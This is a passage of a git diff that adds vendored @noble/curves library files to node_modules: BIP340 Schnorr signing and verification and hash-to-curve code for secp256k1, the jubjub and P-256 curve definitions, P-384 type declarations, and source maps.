+ }, +}, sha256); +// Schnorr signatures are superior to ECDSA from above. Below is Schnorr-specific BIP0340 code. +// https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki +const _0n = BigInt(0); +const fe = (x) => typeof x === 'bigint' && _0n < x && x < secp256k1P; +const ge = (x) => typeof x === 'bigint' && _0n < x && x < secp256k1N; +/** An object mapping tags to their tagged hash prefix of [SHA256(tag) | SHA256(tag)] */ +const TAGGED_HASH_PREFIXES = {}; +function taggedHash(tag, ...messages) { + let tagP = TAGGED_HASH_PREFIXES[tag]; + if (tagP === undefined) { + const tagH = sha256(Uint8Array.from(tag, (c) => c.charCodeAt(0))); + tagP = concatBytes(tagH, tagH); + TAGGED_HASH_PREFIXES[tag] = tagP; + } + return sha256(concatBytes(tagP, ...messages)); +} +// ECDSA compact points are 33-byte. Schnorr is 32: we strip first byte 0x02 or 0x03 +const pointToBytes = (point) => point.toRawBytes(true).slice(1); +const numTo32b = (n) => numberToBytesBE(n, 32); +const modP = (x) => mod(x, secp256k1P); +const modN = (x) => mod(x, secp256k1N); +const Point = secp256k1.ProjectivePoint; +const GmulAdd = (Q, a, b) => Point.BASE.multiplyAndAddUnsafe(Q, a, b); +// Calculate point, scalar and bytes +function schnorrGetExtPubKey(priv) { + let d_ = secp256k1.utils.normPrivateKeyToScalar(priv); // same method executed in fromPrivateKey + let p = Point.fromPrivateKey(d_); // P = d'⋅G; 0 < d' < n check is done inside + const scalar = p.hasEvenY() ? d_ : modN(-d_); + return { scalar: scalar, bytes: pointToBytes(p) }; +} +/** + * lift_x from BIP340. Convert 32-byte x coordinate to elliptic curve point. + * @returns valid point checked for being on-curve + */ +function lift_x(x) { + if (!fe(x)) + throw new Error('bad x: need 0 < x < p'); // Fail if x ≥ p. + const xx = modP(x * x); + const c = modP(xx * x + BigInt(7)); // Let c = x³ + 7 mod p. + let y = sqrtMod(c); // Let y = c^(p+1)/4 mod p. + if (y % _2n !== _0n) + y = modP(-y); // Return the unique point P such that x(P) = x and + const p = new Point(x, y, _1n); // y(P) = y if y mod 2 = 0 or y(P) = p-y otherwise. + p.assertValidity(); + return p; +} +/** + * Create tagged hash, convert it to bigint, reduce modulo-n. + */ +function challenge(...args) { + return modN(bytesToNumberBE(taggedHash('BIP0340/challenge', ...args))); +} +/** + * Schnorr public key is just `x` coordinate of Point as per BIP340. + */ +function schnorrGetPublicKey(privateKey) { + return schnorrGetExtPubKey(privateKey).bytes; // d'=int(sk). Fail if d'=0 or d'≥n. Ret bytes(d'⋅G) +} +/** + * Creates Schnorr signature as per BIP340. Verifies itself before returning anything. + * auxRand is optional and is not the sole source of k generation: bad CSPRNG won't be dangerous. + */ +function schnorrSign(message, privateKey, auxRand = randomBytes(32)) { + const m = ensureBytes('message', message); + const { bytes: px, scalar: d } = schnorrGetExtPubKey(privateKey); // checks for isWithinCurveOrder + const a = ensureBytes('auxRand', auxRand, 32); // Auxiliary random data a: a 32-byte array + const t = numTo32b(d ^ bytesToNumberBE(taggedHash('BIP0340/aux', a))); // Let t be the byte-wise xor of bytes(d) and hash/aux(a) + const rand = taggedHash('BIP0340/nonce', t, px, m); // Let rand = hash/nonce(t || bytes(P) || m) + const k_ = modN(bytesToNumberBE(rand)); // Let k' = int(rand) mod n + if (k_ === _0n) + throw new Error('sign failed: k is zero'); // Fail if k' = 0. + const { bytes: rx, scalar: k } = schnorrGetExtPubKey(k_); // Let R = k'⋅G. + const e = challenge(rx, px, m); // Let e = int(hash/challenge(bytes(R) || bytes(P) || m)) mod n. + const sig = new Uint8Array(64); // Let sig = bytes(R) || bytes((k + ed) mod n). + sig.set(rx, 0); + sig.set(numTo32b(modN(k + e * d)), 32); + // If Verify(bytes(P), m, sig) (see below) returns failure, abort + if (!schnorrVerify(sig, m, px)) + throw new Error('sign: Invalid signature produced'); + return sig; +} +/** + * Verifies Schnorr signature. + * Will swallow errors & return false except for initial type validation of arguments. + */ +function schnorrVerify(signature, message, publicKey) { + const sig = ensureBytes('signature', signature, 64); + const m = ensureBytes('message', message); + const pub = ensureBytes('publicKey', publicKey, 32); + try { + const P = lift_x(bytesToNumberBE(pub)); // P = lift_x(int(pk)); fail if that fails + const r = bytesToNumberBE(sig.subarray(0, 32)); // Let r = int(sig[0:32]); fail if r ≥ p. + if (!fe(r)) + return false; + const s = bytesToNumberBE(sig.subarray(32, 64)); // Let s = int(sig[32:64]); fail if s ≥ n. + if (!ge(s)) + return false; + const e = challenge(numTo32b(r), pointToBytes(P), m); // int(challenge(bytes(r)||bytes(P)||m))%n + const R = GmulAdd(P, s, modN(-e)); // R = s⋅G - e⋅P + if (!R || !R.hasEvenY() || R.toAffine().x !== r) + return false; // -eP == (n-e)P + return true; // Fail if is_infinite(R) / not has_even_y(R) / x(R) ≠ r. + } + catch (error) { + return false; + } +} +export const schnorr = /* @__PURE__ */ (() => ({ + getPublicKey: schnorrGetPublicKey, + sign: schnorrSign, + verify: schnorrVerify, + utils: { + randomPrivateKey: secp256k1.utils.randomPrivateKey, + lift_x, + pointToBytes, + numberToBytesBE, + bytesToNumberBE, + taggedHash, + mod, + }, +}))(); +const isoMap = /* @__PURE__ */ (() => isogenyMap(Fp, [ + // xNum + [ + '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa8c7', + '0x7d3d4c80bc321d5b9f315cea7fd44c5d595d2fc0bf63b92dfff1044f17c6581', + '0x534c328d23f234e6e2a413deca25caece4506144037c40314ecbd0b53d9dd262', + '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa88c', + ], + // xDen + [ + '0xd35771193d94918a9ca34ccbb7b640dd86cd409542f8487d9fe6b745781eb49b', + '0xedadc6f64383dc1df7c4b2d51b54225406d36b641f5e41bbc52a56612a8c6d14', + '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], + // yNum + [ + '0x4bda12f684bda12f684bda12f684bda12f684bda12f684bda12f684b8e38e23c', + '0xc75e0c32d5cb7c0fa9d0a54b12a0a6d5647ab046d686da6fdffc90fc201d71a3', + '0x29a6194691f91a73715209ef6512e576722830a201be2018a765e85a9ecee931', + '0x2f684bda12f684bda12f684bda12f684bda12f684bda12f684bda12f38e38d84', + ], + // yDen + [ + '0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffff93b', + '0x7a06534bb8bdb49fd5e9e6632722c2989467c1bfc8e8d978dfb425d2685c2573', + '0x6484aa716545ca2cf3a70c3fa8fe337e0a3d21162f0d6299a7bf8192bfd2a76f', + '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], +].map((i) => i.map((j) => BigInt(j)))))(); +const mapSWU = /* @__PURE__ */ (() => mapToCurveSimpleSWU(Fp, { + A: BigInt('0x3f8731abdd661adca08a5558f0f5d272e953d363cb6f0e5d405447c01a444533'), + B: BigInt('1771'), + Z: Fp.create(BigInt('-11')), +}))(); +const htf = /* @__PURE__ */ (() => createHasher(secp256k1.ProjectivePoint, (scalars) => { + const { x, y } = mapSWU(Fp.create(scalars[0])); + return isoMap(x, y); +}, { + DST: 'secp256k1_XMD:SHA-256_SSWU_RO_', + encodeDST: 'secp256k1_XMD:SHA-256_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 128, + expand: 'xmd', + hash: sha256, +}))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); +//# sourceMappingURL=secp256k1.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/secp256k1.js.map b/node_modules/@noble/curves/esm/secp256k1.js.map new file mode 100644 index 000000000000..692678a2a316 --- /dev/null +++ b/node_modules/@noble/curves/esm/secp256k1.js.map @@ -0,0 +1 @@ +{"version":3,"file":"secp256k1.js","sourceRoot":"","sources":["../src/secp256k1.ts"],"names":[],"mappings":"AAAA,sEAAsE;AAC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ts new file mode 100644 index 000000000000..f36479a733bb --- /dev/null +++ b/node_modules/@noble/curves/index.d.ts @@ -0,0 +1 @@ +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/index.d.ts.map b/node_modules/@noble/curves/index.d.ts.map new file mode 100644 index 000000000000..4e8c5816b41a --- /dev/null +++ b/node_modules/@noble/curves/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["src/index.ts"],"names":[],"mappings":""} \ No newline at end of file diff --git a/node_modules/@noble/curves/index.js b/node_modules/@noble/curves/index.js new file mode 100644 index 000000000000..ac4f22315730 --- /dev/null +++ b/node_modules/@noble/curves/index.js @@ -0,0 +1,3 @@ +"use strict"; +throw new Error('Incorrect usage. Import submodules instead'); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/index.js.map b/node_modules/@noble/curves/index.js.map new file mode 100644 index 000000000000..292b53a2fe93 --- /dev/null +++ b/node_modules/@noble/curves/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["src/index.ts"],"names":[],"mappings":";AAAA,MAAM,IAAI,KAAK,CAAC,4CAA4C,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/jubjub.d.ts b/node_modules/@noble/curves/jubjub.d.ts new file mode 100644 index 000000000000..7d2c398a7d42 --- /dev/null +++ b/node_modules/@noble/curves/jubjub.d.ts @@ -0,0 +1,9 @@ +/** + * jubjub Twisted Edwards curve. + * https://neuromancer.sk/std/other/JubJub + * jubjub does not use EdDSA, so `hash`/sha512 params are passed because interface expects them. + */ +export declare const jubjub: import("./abstract/edwards.js").CurveFn; +export declare function groupHash(tag: Uint8Array, personalization: Uint8Array): import("./abstract/edwards.js").ExtPointType; +export declare function findGroupHash(m: Uint8Array, personalization: Uint8Array): import("./abstract/edwards.js").ExtPointType; +//# sourceMappingURL=jubjub.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/jubjub.d.ts.map b/node_modules/@noble/curves/jubjub.d.ts.map new file mode 100644 index 000000000000..e79099dfc046 --- /dev/null +++ b/node_modules/@noble/curves/jubjub.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"jubjub.d.ts","sourceRoot":"","sources":["src/jubjub.ts"],"names":[],"mappings":"AAOA;;;;GAIG;AAEH,eAAO,MAAM,MAAM,yCAgBR,CAAC;AAOZ,wBAAgB,SAAS,CAAC,GAAG,EAAE,UAAU,EAAE,eAAe,EAAE,UAAU,gDAUrE;AAED,wBAAgB,aAAa,CAAC,CAAC,EAAE,UAAU,EAAE,eAAe,EAAE,UAAU,gDASvE"} \ No newline at end of file diff --git a/node_modules/@noble/curves/jubjub.js b/node_modules/@noble/curves/jubjub.js new file mode 100644 index 000000000000..60c832962e34 --- /dev/null +++ b/node_modules/@noble/curves/jubjub.js @@ -0,0 +1,59 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.findGroupHash = exports.groupHash = exports.jubjub = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const sha512_1 = require("@noble/hashes/sha512"); +const utils_1 = require("@noble/hashes/utils"); +const edwards_js_1 = require("./abstract/edwards.js"); +const blake2s_1 = require("@noble/hashes/blake2s"); +const modular_js_1 = require("./abstract/modular.js"); +/** + * jubjub Twisted Edwards curve. + * https://neuromancer.sk/std/other/JubJub + * jubjub does not use EdDSA, so `hash`/sha512 params are passed because interface expects them. + */ +exports.jubjub = (0, edwards_js_1.twistedEdwards)({ + // Params: a, d + a: BigInt('0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000000'), + d: BigInt('0x2a9318e74bfa2b48f5fd9207e6bd7fd4292d7f6d37579d2601065fd6d6343eb1'), + // Finite field 𝔽p over which we'll do calculations + // Same value as bls12-381 Fr (not Fp) + Fp: (0, modular_js_1.Field)(BigInt('0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001')), + // Subgroup order: how many points curve has + n: BigInt('0xe7db4ea6533afa906673b0101343b00a6682093ccc81082d0970e5ed6f72cb7'), + // Cofactor + h: BigInt(8), + // Base point (x, y) aka generator point + Gx: BigInt('0x11dafe5d23e1218086a365b99fbf3d3be72f6afd7d1f72623e6b071492d1122b'), + Gy: BigInt('0x1d523cf1ddab1a1793132e78c866c0c33e26ba5cc220fed7cc3f870e59d292aa'), + hash: sha512_1.sha512, + randomBytes: utils_1.randomBytes, +}); +const GH_FIRST_BLOCK = (0, utils_1.utf8ToBytes)('096b36a5804bfacef1691e173c366a47ff5ba84a44f26ddd7e8d9f79d5b42df0'); +// Returns point at JubJub curve which is prime order and not zero +function groupHash(tag, personalization) { + const h = blake2s_1.blake2s.create({ personalization, dkLen: 32 }); + h.update(GH_FIRST_BLOCK); + h.update(tag); + // NOTE: returns ExtendedPoint, in case it will be multiplied later + let p = exports.jubjub.ExtendedPoint.fromHex(h.digest()); + // NOTE: cannot replace with isSmallOrder, returns Point*8 + p = p.multiply(exports.jubjub.CURVE.h); + if (p.equals(exports.jubjub.ExtendedPoint.ZERO)) + throw new Error('Point has small order'); + return p; +} +exports.groupHash = groupHash; +function findGroupHash(m, personalization) { + const tag = (0, utils_1.concatBytes)(m, new Uint8Array([0])); + for (let i = 0; i < 256; i++) { + tag[tag.length - 1] = i; + try { + return groupHash(tag, personalization); + } + catch (e) { } + } + throw new Error('findGroupHash tag overflow'); +} +exports.findGroupHash = findGroupHash; +//# sourceMappingURL=jubjub.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/jubjub.js.map b/node_modules/@noble/curves/jubjub.js.map new file mode 100644 index 000000000000..3cd9787c96ca --- /dev/null +++ b/node_modules/@noble/curves/jubjub.js.map @@ -0,0 +1 @@ +{"version":3,"file":"jubjub.js","sourceRoot":"","sources":["src/jubjub.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,iDAA8C;AAC9C,+CAA4E;AAC5E,sDAAuD;AACvD,mDAAgD;AAChD,sDAA8C;AAE9C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;AAVD,8BAUC;AAED,SAAgB,aAAa,CAAC,CAAa,EAAE,eAA2B;IACtE,MAAM,GAAG,GAAG,IAAA,mBAAW,EAAC,CAAC,EAAE,IAAI,UAAU,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IAChD,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,GAAG,EAAE,CAAC,EAAE,EAAE;QAC5B,GAAG,CAAC,GAAG,CAAC,MAAM,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC;QACxB,IAAI;YACF,OAAO,SAAS,CAAC,GAAG,EAAE,eAAe,CAAC,CAAC;SACxC;QAAC,OAAO,CAAC,EAAE,GAAE;KACf;IACD,MAAM,IAAI,KAAK,CAAC,4BAA4B,CAAC,CAAC;AAChD,CAAC;AATD,sCASC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/p256.d.ts b/node_modules/@noble/curves/p256.d.ts new file mode 100644 index 000000000000..cf8c0d6eacd9 --- /dev/null +++ b/node_modules/@noble/curves/p256.d.ts @@ -0,0 +1,105 @@ +export declare const p256: Readonly<{ + create: (hash: import("./abstract/utils.js").CHash) => import("./abstract/weierstrass.js").CurveFn; + CURVE: Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: import("./abstract/modular.js").IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly b: bigint; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: { + beta: bigint; + splitScalar: (k: bigint) => { + k1neg: boolean; + k1: bigint; + k2neg: boolean; + k2: bigint; + }; + } | undefined; + readonly isTorsionFree?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => boolean) | undefined; + readonly clearCofactor?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => import("./abstract/weierstrass.js").ProjPointType) | undefined; + readonly hash: import("./abstract/utils.js").CHash; + readonly hmac: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + lowS: boolean; + readonly bits2int?: ((bytes: Uint8Array) => bigint) | undefined; + readonly bits2int_modN?: ((bytes: Uint8Array) => bigint) | undefined; + readonly p: bigint; + }>; + getPublicKey: (privateKey: import("./abstract/utils.js").PrivKey, isCompressed?: boolean | undefined) => Uint8Array; + getSharedSecret: (privateA: import("./abstract/utils.js").PrivKey, publicB: import("./abstract/utils.js").Hex, isCompressed?: boolean | undefined) => Uint8Array; + sign: (msgHash: import("./abstract/utils.js").Hex, privKey: import("./abstract/utils.js").PrivKey, opts?: import("./abstract/weierstrass.js").SignOpts | undefined) => import("./abstract/weierstrass.js").RecoveredSignatureType; + verify: (signature: import("./abstract/utils.js").Hex | { + r: bigint; + s: bigint; + }, msgHash: import("./abstract/utils.js").Hex, publicKey: import("./abstract/utils.js").Hex, opts?: import("./abstract/weierstrass.js").VerOpts | undefined) => boolean; + ProjectivePoint: import("./abstract/weierstrass.js").ProjConstructor; + Signature: import("./abstract/weierstrass.js").SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: import("./abstract/utils.js").PrivKey) => bigint; + isValidPrivateKey(privateKey: import("./abstract/utils.js").PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number | undefined, point?: import("./abstract/weierstrass.js").ProjPointType | undefined) => import("./abstract/weierstrass.js").ProjPointType; + }; +}>; +export declare const secp256r1: Readonly<{ + create: (hash: import("./abstract/utils.js").CHash) => import("./abstract/weierstrass.js").CurveFn; + CURVE: Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: import("./abstract/modular.js").IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly b: bigint; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: { + beta: bigint; + splitScalar: (k: bigint) => { + k1neg: boolean; + k1: bigint; + k2neg: boolean; + k2: bigint; + }; + } | undefined; + readonly isTorsionFree?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => boolean) | undefined; + readonly clearCofactor?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => import("./abstract/weierstrass.js").ProjPointType) | undefined; + readonly hash: import("./abstract/utils.js").CHash; + readonly hmac: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + lowS: boolean; + readonly bits2int?: ((bytes: Uint8Array) => bigint) | undefined; + readonly bits2int_modN?: ((bytes: Uint8Array) => bigint) | undefined; + readonly p: bigint; + }>; + getPublicKey: (privateKey: import("./abstract/utils.js").PrivKey, isCompressed?: boolean | undefined) => Uint8Array; + getSharedSecret: (privateA: import("./abstract/utils.js").PrivKey, publicB: import("./abstract/utils.js").Hex, isCompressed?: boolean | undefined) => Uint8Array; + sign: (msgHash: import("./abstract/utils.js").Hex, privKey: import("./abstract/utils.js").PrivKey, opts?: import("./abstract/weierstrass.js").SignOpts | undefined) => import("./abstract/weierstrass.js").RecoveredSignatureType; + verify: (signature: import("./abstract/utils.js").Hex | { + r: bigint; + s: bigint; + }, msgHash: import("./abstract/utils.js").Hex, publicKey: import("./abstract/utils.js").Hex, opts?: import("./abstract/weierstrass.js").VerOpts | undefined) => boolean; + ProjectivePoint: import("./abstract/weierstrass.js").ProjConstructor; + Signature: import("./abstract/weierstrass.js").SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: import("./abstract/utils.js").PrivKey) => bigint; + isValidPrivateKey(privateKey: import("./abstract/utils.js").PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number | undefined, point?: import("./abstract/weierstrass.js").ProjPointType | undefined) => import("./abstract/weierstrass.js").ProjPointType; + }; +}>; +export declare const hashToCurve: (msg: Uint8Array, options?: import("./abstract/hash-to-curve.js").htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +export declare const encodeToCurve: (msg: Uint8Array, options?: import("./abstract/hash-to-curve.js").htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +//# sourceMappingURL=p256.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/p256.d.ts.map b/node_modules/@noble/curves/p256.d.ts.map new file mode 100644 index 000000000000..d16f81288b25 --- /dev/null +++ b/node_modules/@noble/curves/p256.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"p256.d.ts","sourceRoot":"","sources":["src/p256.ts"],"names":[],"mappings":"AAeA,eAAO,MAAM,IAAI;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EAWE,CAAC;AACpB,eAAO,MAAM,SAAS;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EAAO,CAAC;AAmB9B,eAAO,MAAM,WAAW,uJAA4C,CAAC;AACrE,eAAO,MAAM,aAAa,uJAA8C,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/p256.js b/node_modules/@noble/curves/p256.js new file mode 100644 index 000000000000..1e7e80947f2f --- /dev/null +++ b/node_modules/@noble/curves/p256.js @@ -0,0 +1,45 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encodeToCurve = exports.hashToCurve = exports.secp256r1 = exports.p256 = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const _shortw_utils_js_1 = require("./_shortw_utils.js"); +const sha256_1 = require("@noble/hashes/sha256"); +const modular_js_1 = require("./abstract/modular.js"); +const weierstrass_js_1 = require("./abstract/weierstrass.js"); +const hash_to_curve_js_1 = require("./abstract/hash-to-curve.js"); +// NIST secp256r1 aka p256 +// https://www.secg.org/sec2-v2.pdf, https://neuromancer.sk/std/nist/P-256 +const Fp = (0, modular_js_1.Field)(BigInt('0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff')); +const CURVE_A = Fp.create(BigInt('-3')); +const CURVE_B = BigInt('0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b'); +// prettier-ignore +exports.p256 = (0, _shortw_utils_js_1.createCurve)({ + a: CURVE_A, + b: CURVE_B, + Fp, + // Curve order, total count of valid points in the field + n: BigInt('0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551'), + // Base (generator) point (x, y) + Gx: BigInt('0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296'), + Gy: BigInt('0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5'), + h: BigInt(1), + lowS: false, +}, sha256_1.sha256); +exports.secp256r1 = exports.p256; +const mapSWU = /* @__PURE__ */ (() => (0, weierstrass_js_1.mapToCurveSimpleSWU)(Fp, { + A: CURVE_A, + B: CURVE_B, + Z: Fp.create(BigInt('-10')), +}))(); +const htf = /* @__PURE__ */ (() => (0, hash_to_curve_js_1.createHasher)(exports.secp256r1.ProjectivePoint, (scalars) => mapSWU(scalars[0]), { + DST: 'P256_XMD:SHA-256_SSWU_RO_', + encodeDST: 'P256_XMD:SHA-256_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 128, + expand: 'xmd', + hash: sha256_1.sha256, +}))(); +exports.hashToCurve = (() => htf.hashToCurve)(); +exports.encodeToCurve = (() => htf.encodeToCurve)(); +//# sourceMappingURL=p256.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/p256.js.map b/node_modules/@noble/curves/p256.js.map new file mode 100644 index 000000000000..0459df9cb6d3 --- /dev/null +++ b/node_modules/@noble/curves/p256.js.map @@ -0,0 +1 @@ +{"version":3,"file":"p256.js","sour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EAAE,2BAA2B;IAChC,SAAS,EAAE,2BAA2B;IACtC,CAAC,EAAE,EAAE,CAAC,KAAK;IACX,CAAC,EAAE,CAAC;IACJ,CAAC,EAAE,GAAG;IACN,MAAM,EAAE,KAAK;IACb,IAAI,EAAE,eAAM;CACb,CAAC,CAAC,EAAE,CAAC;AACK,QAAA,WAAW,GAAmB,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC;AACxD,QAAA,aAAa,GAAmB,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,aAAa,CAAC,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/p384.d.ts b/node_modules/@noble/curves/p384.d.ts new file mode 100644 index 000000000000..0be425414901 --- /dev/null +++ b/node_modules/@noble/curves/p384.d.ts @@ -0,0 +1,105 @@ +export declare const p384: Readonly<{ + create: (hash: import("./abstract/utils.js").CHash) => import("./abstract/weierstrass.js").CurveFn; + CURVE: Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: import("./abstract/modular.js").IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly b: bigint; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: { + beta: bigint; + splitScalar: (k: bigint) => { + k1neg: boolean; + k1: bigint; + k2neg: boolean; + k2: bigint; + }; + } | undefined; + readonly isTorsionFree?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => boolean) | undefined; + readonly clearCofactor?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => import("./abstract/weierstrass.js").ProjPointType) | undefined; + readonly hash: import("./abstract/utils.js").CHash; + readonly hmac: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + lowS: boolean; + readonly bits2int?: ((bytes: Uint8Array) => bigint) | undefined; + readonly bits2int_modN?: ((bytes: Uint8Array) => bigint) | undefined; + readonly p: bigint; + }>; + getPublicKey: (privateKey: import("./abstract/utils.js").PrivKey, isCompressed?: boolean | undefined) => Uint8Array; + getSharedSecret: (privateA: import("./abstract/utils.js").PrivKey, publicB: import("./abstract/utils.js").Hex, isCompressed?: boolean | undefined) => Uint8Array; + sign: (msgHash: import("./abstract/utils.js").Hex, privKey: import("./abstract/utils.js").PrivKey, opts?: import("./abstract/weierstrass.js").SignOpts | undefined) => import("./abstract/weierstrass.js").RecoveredSignatureType; + verify: (signature: import("./abstract/utils.js").Hex | { + r: bigint; + s: bigint; + }, msgHash: import("./abstract/utils.js").Hex, publicKey: import("./abstract/utils.js").Hex, opts?: import("./abstract/weierstrass.js").VerOpts | undefined) => boolean; + ProjectivePoint: import("./abstract/weierstrass.js").ProjConstructor; + Signature: import("./abstract/weierstrass.js").SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: import("./abstract/utils.js").PrivKey) => bigint; + isValidPrivateKey(privateKey: import("./abstract/utils.js").PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number | undefined, point?: import("./abstract/weierstrass.js").ProjPointType | undefined) => import("./abstract/weierstrass.js").ProjPointType; + }; +}>; +export declare const secp384r1: Readonly<{ + create: (hash: import("./abstract/utils.js").CHash) => import("./abstract/weierstrass.js").CurveFn; + CURVE: Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: import("./abstract/modular.js").IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly b: bigint; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: { + beta: bigint; + splitScalar: (k: bigint) => { + k1neg: boolean; + k1: bigint; + k2neg: boolean; + k2: bigint; + }; + } | undefined; + readonly isTorsionFree?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => boolean) | undefined; + readonly clearCofactor?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => import("./abstract/weierstrass.js").ProjPointType) | undefined; + readonly hash: import("./abstract/utils.js").CHash; + readonly hmac: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + lowS: boolean; + readonly bits2int?: ((bytes: Uint8Array) => bigint) | undefined; + readonly bits2int_modN?: ((bytes: Uint8Array) => bigint) | undefined; + readonly p: bigint; + }>; + getPublicKey: (privateKey: import("./abstract/utils.js").PrivKey, isCompressed?: boolean | undefined) => Uint8Array; + getSharedSecret: (privateA: import("./abstract/utils.js").PrivKey, publicB: import("./abstract/utils.js").Hex, isCompressed?: boolean | undefined) => Uint8Array; + sign: (msgHash: import("./abstract/utils.js").Hex, privKey: import("./abstract/utils.js").PrivKey, opts?: import("./abstract/weierstrass.js").SignOpts | undefined) => import("./abstract/weierstrass.js").RecoveredSignatureType; + verify: (signature: import("./abstract/utils.js").Hex | { + r: bigint; + s: bigint; + }, msgHash: import("./abstract/utils.js").Hex, publicKey: import("./abstract/utils.js").Hex, opts?: import("./abstract/weierstrass.js").VerOpts | undefined) => boolean; + ProjectivePoint: 